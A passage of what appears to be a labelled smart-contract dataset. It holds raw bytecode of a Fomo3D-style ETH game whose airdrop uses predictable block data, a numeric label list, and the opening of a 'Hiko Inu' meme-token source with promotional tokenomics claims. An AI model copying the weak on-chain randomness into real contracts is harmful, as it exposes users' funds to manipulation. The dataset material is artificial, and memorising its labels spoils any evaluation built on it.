5460ff16155b80156116bb57506000878152600b602052604090205415155b15611861576000878152600b60205260409020600301805460ff191660011790556116e583613485565b92506116f085613b58565b9350600084111561174157600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f1935050505015801561173f573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc3360086000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611917565b61186a85613b58565b935060008411156118bb57600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f193505050501580156118b9573d6000803e3d6000fd5b505b6000858152600860209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b6000808080808033803b801561196e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6119778b613bdf565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b50995034985073cb80bdbcc720e3525988de75822ef8d192edd0529263aa4d490b928a926084808201939182900301818588803b158015611a0857600080fd5b505af1158015611a1c573d6000803e3d6000fd5b50505050506040513d6040811015611a3357600080fd5b508051602091820151600160a060020a03808b1660008181526006865260408082205485835260088852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b3373cb80bdbcc720e3525988de75822ef8d192edd05214611b6a576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020548414611ba557600160a060020a03831660009081526006602052604090208490555b6000828152600760205260409020548414611bcc5760008281526007602052604090208490555b600084815260086020526040902054600160a060020a03848116911614611c22576000848152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600860205260409020600101548214611c4f5760008481526008602052604090206001018290555b6000848152600860205260409020600601548114611c7c5760008481526008602052604090206006018190555b6000848152600a6020908152604080832085845290915290205460ff161515611cc4576000848152600a602090815260408083208584529091529020805460ff191660011790555b50505050565b600c60209081526000928352604080842090915290825290205481565b60055481565b6005546000818152600b60205260408120600201549091829182919042118015611d2957506000818152600b602052604090206003015460ff16155b8015611d4257506000818152600b602052604090205415155b15611e63576000818152600b6020526040902054851415611e27576000818152600b6020526040902060070154611db090606490611d8790603063ffffffff6143f216565b811515611d9057fe5b60008881526008602052604090206002015491900463ffffffff61388916565b6000868152600960209081526040808320858452909152902060020154611e0990611deb90611ddf8986614469565b9063ffffffff61453716565b6000888152600860205260409020600301549063ffffffff61388916565b60008781526008602052604090206004015491955093509150611e8b565b600085815260086020908152604080832060029081015460098452828520868652909352922090910154611e0990611deb90611ddf8986614469565b60008581526008602052604090206002810154600590910154611e0990611deb908890614597565b509193909250565b6000808080808033803b8015611ee1576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b611eea8b613bdf565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073cb80bdbcc720e3525988de75822ef8d192edd0529263745ea0c1928a926084808201939182900301818588803b158015611a0857600080fd5b60008060008060008060008060008060008060008060006005549050600b60008281526020019081526020016000206009015481600b600084815260200190815260200160002060050154600b600085815260200190815260200160002060020154600b600086815260200190815260200160002060040154600b600087815260200190815260200160002060070154600b600088815260200190815260200160002060000154600a02600b6000898152602001908152602001600020600101540160086000600b60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660086000600b60008c815260200190815260200160002060000154815260200190815260200160002060010154600c60008b8152602001908152602001600020600080815260200190815260200160002054600c60008c815260200190815260200160002060006001815260200190815260200160002054600c60008d815260200190815260200160002060006002815260200190815260200160002054600c60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b612179615161565b600f54600090819060ff1615156001146121df576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612226576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca0081101561227e576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156122ce576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450600160a060020a03891615806122fe5750600160a060020a03891633145b1561231c57600085815260086020526040902060060154935061119d565b600160a060020a03891660009081526006602081815260408084205489855260089092529092200154909450841461119d5760008581526008602052604090206006018490556111a688613917565b612373615161565b600f5460009060ff1615156001146123d7576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561241e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612476576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156124c6576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6124cf856109ca565b3360009081526006602052604090205490955093508615806124f057508387145b1561250e57600084815260086020526040902060060154965061253b565b600084815260086020526040902060060154871461253b5760008481526008602052604090206006018790555b61254486613917565b955061191784888888610c7e565b3373cb80bdbcc720e3525988de75822ef8d192edd052146125e3576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a6020908152604080832084845290915290205460ff16151561262b576000828152600a602090815260408083208484529091529020805460ff191660011790555b5050565b6000808080808033803b801561267d576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6126868b613bdf565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073cb80bdbcc720e3525988de75822ef8d192edd0529263c0942dfd928a926084808201939182900301818588803b158015611a0857600080fd5b60408051808201909152600581527f53484f5254000000000000000000000000000000000000000000000000000000602082015281565b61274e615161565b600f54600090819060ff1615156001146127b4576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b80156127fb576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612853576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156128a3576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6128ac866109ca565b336000908152600660205260409020549096509450600160a060020a03881615806128df5750600160a060020a03881633145b156128fd576000858152600860205260409020600601549350612944565b600160a060020a0388166000908152600660208181526040808420548985526008909252909220015490945084146129445760008581526008602052604090206006018490555b61294d87613917565b965061159585858989610c7e565b600960209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b612995615161565b600f54600090819060ff1615156001146129fb576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612a42576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612a9a576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612aea576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b612af3866109ca565b336000908152600660205260409020549096509450871580612b25575060008581526008602052604090206001015488145b15612b43576000858152600860205260409020600601549350612944565b600088815260076020908152604080832054888452600890925290912060060154909450841461294457600085815260086020526040902060060184905561294d87613917565b600e602052600090815260409020805460019091015482565b6005546000818152600b60205260408120600201549091904290811015612c29576002546000838152600b602052604090206004015401811115612c03576000828152600b6020526040902060020154610f67908263ffffffff61453716565b6002546000838152600b6020526040902060040154610f6791018263ffffffff61453716565b60009250610f78565b6002546000838152600b6020526040812060040154909142910181118015612c9c57506000848152600b602052604090206002015481111580612c9c57506000848152600b602052604090206002015481118015612c9c57506000848152600b6020526040902054155b15612cca576000848152600b6020526040902060060154612cc3908463ffffffff6145f416565b9150612cd3565b612cc383614615565b5092915050565b6005546002546000828152600b602052604081206004015490929142910181118015612d4857506000828152600b602052604090206002015481111580612d4857506000828152600b602052604090206002015481118015612d4857506000828152600b6020526040902054155b15612d7c576000828152600b6020526040902060050154612d75908590610f5b908263ffffffff61388916565b9250612d85565b612d758461468d565b5050919050565b600f5460ff1681565b60035481565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600b6020526040902060070154612e0a903463ffffffff61388916565b6000828152600b6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a038916600090815260066020908152604080832054808452600880845282852060018082015460098752858820898952875294872001549583905293526002830154600590930154909384939091612ef590612ed7908690614597565b6000878152600860205260409020600301549063ffffffff61388916565b600095865260086020908152604080882060040154600983528189209989529890915290952054939e929d50909b509950919750919550909350915050565b60008581526009602090815260408083208984529091528120600101548190819081901515612f6a57612f6789866146fa565b94505b60008a8152600b602052604090206006015468056bc75e2d63100000118015612fc4575060008981526009602090815260408083208d8452909152902054670de0b6b3a764000090612fc2908a63ffffffff61388916565b115b1561304b5760008981526009602090815260408083208d8452909152902054612ffc90670de0b6b3a76400009063ffffffff61453716565b935061300e888563ffffffff61453716565b60008a815260086020526040902060030154909350613033908463ffffffff61388916565b60008a81526008602052604090206003015592965086925b633b9aca008811156134795760008a8152600b6020526040902060060154613079908963ffffffff6145f416565b9150670de0b6b3a764000082106130f057613094828b614759565b60008a8152600b602052604090205489146130bb5760008a8152600b602052604090208990555b60008a8152600b602052604090206001015486146130e85760008a8152600b602052604090206001018690555b845160640185525b67016345785d8a0000881061333057600480546001019055613110614835565b15156001141561333057678ac7230489e8000088106131b15760035460649061314090604b63ffffffff6143f216565b81151561314957fe5b60008b8152600860205260409020600201549190049150613170908263ffffffff61388916565b60008a815260086020526040902060020155600354613195908263ffffffff61453716565b60035584516d0eca8847c4129106ce8300000000018552613305565b670de0b6b3a764000088101580156131d05750678ac7230489e8000088105b1561325d576003546064906131ec90603263ffffffff6143f216565b8115156131f557fe5b60008b815260086020526040902060020154919004915061321c908263ffffffff61388916565b60008a815260086020526040902060020155600354613241908263ffffffff61453716565b60035584516d09dc5ada82b70b59df0200000000018552613305565b67016345785d8a0000881015801561327c5750670de0b6b3a764000088105b156133055760035460649061329890601963ffffffff6143f216565b8115156132a157fe5b60008b81526008602052604090206002015491900491506132c8908263ffffffff61388916565b60008a8152600860205260409020600201556003546132ed908263ffffffff61453716565b60035584516d0eca8847c4129106ce83000000000185525b84516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001855260006004555b60045485516103e890910201855260008981526009602090815260408083208d845290915290206001015461336c90839063ffffffff61388916565b60008a81526009602090815260408083208e84529091529020600181019190915554613399908990613889565b60008a81526009602090815260408083208e8452825280832093909355600b905220600501546133d090839063ffffffff61388916565b60008b8152600b602052604090206005810191909155600601546133fb90899063ffffffff61388916565b60008b8152600b6020908152604080832060060193909355600c81528282208983529052205461343290899063ffffffff61388916565b60008b8152600c602090815260408083208a845290915290205561345a8a8a8a8a8a8a614a4c565b945061346a8a8a8a89868a614c56565b945061347989878a8589614dc4565b50505050505050505050565b61348d615161565b6005546000818152600b6020526040812080546001820154600790920154909280808080808060646134c689603063ffffffff6143f216565b8115156134cf57fe5b04965060328860008b8152600e602052604090205491900496506064906134fd908a9063ffffffff6143f216565b81151561350657fe5b60008b8152600e60205260409020600101549190049550606490613531908a9063ffffffff6143f216565b81151561353a57fe5b04935061355584611ddf87818a818e8e63ffffffff61453716565b60008c8152600b602052604090206005015490935061358286670de0b6b3a764000063ffffffff6143f216565b81151561358b57fe5b60008d8152600b602052604090206005015491900492506135d990670de0b6b3a7640000906135c190859063ffffffff6143f216565b8115156135ca57fe5b8791900463ffffffff61453716565b90506000811115613609576135f4858263ffffffff61453716565b9450613606838263ffffffff61388916565b92505b60008a81526008602052604090206002015461362c90889063ffffffff61388916565b60008b8152600860205260408082206002019290925580549151600160a060020a039092169188156108fc0291899190818181858888f19350505050158015613679573d6000803e3d6000fd5b50600054600160a060020a03166108fc6136968660028104614537565b6040518115909202916000818181858888f193505050501580156136be573d6000803e3d6000fd5b506136cc8860028604613889565b60008c8152600b602052604090206007810191909155600801546136f790839063ffffffff61388916565b600b60008d815260200190815260200160002060080181905550600b60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600860008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600860008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600b60008d81526020019081526020016000206004018190555061385a60025461384e61012c4261388990919063ffffffff16565b9063ffffffff61388916565b60008c8152600b6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b818101828110156138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b6000613910613907613902858563ffffffff61453716565b61468d565b611ddf8561468d565b9392505050565b6000808210806139275750600382115b1561393457506002613937565b50805b919050565b6005546002546000828152600b6020526040902060040154429101811180156139a757506000828152600b6020526040902060020154811115806139a757506000828152600b6020526040902060020154811180156139a757506000828152600b6020526040902054155b156139de576139b984611ddf89613b58565b6000888152600860205260409020600301556139d9828886898988612f34565b611917565b6000828152600b602052604090206002015481118015613a1057506000828152600b602052604090206003015460ff16155b15611917576000828152600b60205260409020600301805460ff19166001179055613a3a83613485565b925080670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600860008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600860205260408120600501548190613b77908490614f32565b600083815260086020526040902060048101546003820154600290920154613ba99261384e919063ffffffff61388916565b90506000811115613bd55760008381526008602052604081206002810182905560038101829055600401555b8091505b50919050565b8051600090829082808060208411801590613bfa5750600084115b1515613c76576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613c8557fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613cec57508460018503815181101515613cc457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613d68576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d7757fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613eba57846001815181101515613db157fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613e2e576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613e3d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613eba576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b8382101561438a5784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613ef757fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613f6b575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613f4c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15613fd8578482815181101515613f7e57fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515613faf57fe5b906020010190600160f860020a031916908160001a905350821515613fd357600192505b61437f565b8482815181101515613fe657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214806140b6575084517f60000000000000000000000000000000000000000000000000000000000000009086908490811061404257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156140b6575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061409757fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80614160575084517f2f00000000000000000000000000000000000000000000000000000000000000908690849081106140ec57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614160575084517f3a000000000000000000000000000000000000000000000000000000000000009086908490811061414157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15156141dc576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b84828151811015156141ea57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156142c957848260010181518110151561422657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141515156142c9576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614375575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061430257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614375575084517f39000000000000000000000000000000000000000000000000000000000000009086908490811061435657fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561437f57600192505b600190910190613ebf565b6001831515146143e4576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b6000821515614403575060006138e4565b5081810281838281151561441357fe5b04146138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60008281526009602090815260408083208484528252808320600190810154600b8085528386206005810154938101548752600e8652938620548787529452600790920154670de0b6b3a764000093614526939261451a9290916144f19187916064916144db9163ffffffff6143f216565b8115156144e457fe5b049063ffffffff6143f216565b8115156144fa57fe5b6000888152600b602052604090206008015491900463ffffffff61388916565b9063ffffffff6143f216565b81151561452f57fe5b049392505050565b600082821115614591576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b600082815260096020908152604080832084845282528083206002810154600190910154600b9093529083206008015461391092670de0b6b3a7640000916145de916143f2565b8115156145e757fe5b049063ffffffff61453716565b600061391061460284614615565b611ddf614615868663ffffffff61388916565b60006309502f9061467d6d03b2a1d15167e7c5699bfde00000611ddf6146787a0dac7055469777a6122ee4310dd6c14410500f290484000000000061384e6b01027e72f1f128130880000061451a8a670de0b6b3a764000063ffffffff6143f216565b614fc9565b81151561468657fe5b0492915050565b60006146a0670de0b6b3a764000061501c565b61467d60026146d36146c086670de0b6b3a764000063ffffffff6143f216565b65886c8f6730709063ffffffff6143f216565b8115156146dc57fe5b0461384e6146e98661501c565b6304a817c89063ffffffff6143f216565b614702615161565b6000838152600860205260409020600501541561473657600083815260086020526040902060050154614736908490614f32565b506005805460009384526008602052604090932001919091558051600a01815290565b6000818152600b60205260408120600201544291908211801561478857506000838152600b6020526040902054155b156147ac576147a58261384e600a670de0b6b3a7640000886144e4565b90506147d9565b6000838152600b60205260409020600201546147d69061384e600a670de0b6b3a7640000886144e4565b90505b6147eb61012c8363ffffffff61388916565b81101561480b576000838152600b60205260409020600201819055611cc4565b61481d61012c8363ffffffff61388916565b6000848152600b602052604090206002015550505050565b6000806149a64361384e42336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106148b05780518252601f199092019160209182019101614891565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120925050508115156148e657fe5b0461384e4561384e42416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061495f5780518252601f199092019160209182019101614940565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561499557fe5b0461384e424463ffffffff61388916565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106149f45780518252601f1990920191602091820191016149d5565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060045490945092506103e89150839050046103e80282031015614a435760019150614a48565b600091505b5090565b614a54615161565b606485046032860460008080614a6a8486613889565b60008054604051929650600160a060020a031691869181818185875af1925050501515614a975760009392505b600a8a0491508a8914158015614abd575060008981526008602052604090206001015415155b15614b5d57600089815260086020526040902060040154614ae590839063ffffffff61388916565b60008a815260086020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101849052426060830152518c918e918c917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a4614b61565b8192505b6000888152600d6020526040902060010154614ba390606490614b8b908d9063ffffffff6143f216565b811515614b9457fe5b8591900463ffffffff61388916565b92506000831115614c4657506000546002830490600160a060020a03166108fc614bcd8584614537565b6040518115909202916000818181858888f19350505050158015614bf5573d6000803e3d6000fd5b5060008c8152600b6020526040902060070154614c18908263ffffffff61388916565b60008d8152600b602052604090206007015560c0870151614c4090849063ffffffff61388916565b60c08801525b50949a9950505050505050505050565b614c5e615161565b6000848152600d6020526040812054819081908190606490614c87908b9063ffffffff6143f216565b811515614c9057fe5b049350606489049250614cae8360035461388990919063ffffffff16565b6003556000888152600d6020526040902060010154614d1f90614d1290606490614cdf908d9063ffffffff6143f216565b811515614ce857fe5b046064614cfc8d600e63ffffffff6143f216565b811515614d0557fe5b049063ffffffff61388916565b8a9063ffffffff61453716565b9850614d31898563ffffffff61453716565b9150614d3f8b8b868a615028565b90506000811115614d5d57614d5a848263ffffffff61453716565b93505b60008b8152600b6020526040902060070154614d839061384e848463ffffffff61388916565b60008c8152600b602052604090206007015560e0860151614dab90859063ffffffff61388916565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160086000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6000614f3e8383614597565b90506000811115614fc457600083815260086020526040902060030154614f6c90829063ffffffff61388916565b6000848152600860209081526040808320600301939093556009815282822085835290522060020154614fa690829063ffffffff61388916565b60008481526009602090815260408083208684529091529020600201555b505050565b6000806002614fd9846001613889565b811515614fe257fe5b0490508291505b81811015613bd957809150600261500b828581151561500457fe5b0483613889565b81151561501457fe5b049050614fe9565b60006138e482836143f2565b6000848152600b60205260408120600501548190819061505686670de0b6b3a764000063ffffffff6143f216565b81151561505f57fe5b6000898152600b6020526040902060080154919004925061508790839063ffffffff61388916565b6000888152600b6020526040902060080155670de0b6b3a76400006150b2838663ffffffff6143f216565b8115156150bb57fe5b60008881526009602090815260408083208c8452825280832060020154600b9092529091206008015492909104925061510e9161384e908490670de0b6b3a7640000906145de908a63ffffffff6143f216565b60008781526009602090815260408083208b8452825280832060020193909355600b9052206005015461515690670de0b6b3a7640000906135c190859063ffffffff6143f216565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f72640000000000000000000000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820a8bf227e000b9419685cba891444eea06c9b2c6915bde080d64e30def739bd2a0029 | [
4,
7,
19,
1,
12,
13
] |
0xf35a02232e5c2c3cf887acf3ed7b4fc3f5ecbb55 | /*
From 'Shib This' to 'Doge That', aren't we all tired of the same old recycled concepts with zero utility.
Boring.....To welcome the new year we want to launch something different Hiko Inu is ready to lead a new era of hybrid meme tokens.
We look forward to welcoming all you degen and apes in true meme coin fashion, are you ready to make some STONKS?!
Tokenomics
✅1% Reflections to Holders
✅1% Dev Tax
✅8% Marketing & Utilities
🤑 24 Hour Anti Dump Tax 15% (13% Marketing, 1% Reflections, 1% Dev Tax)
Total Supply 🪙
One Billion Total Supply
(1,000,000,000)
50% BURNED AT LAUNCH🔥
Launching With Anti Bot, Anti Whale & Anti Dump Measures set in place🚫
Launch Date & Time - 30th Dec Between 9 - 10pm EST
🔕CHAT WILL BE MUTED UNTIL WE LAUNCH!🔕
Website:
https://www.hikoinu.com
Telegram:
https://t.me/HikoInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
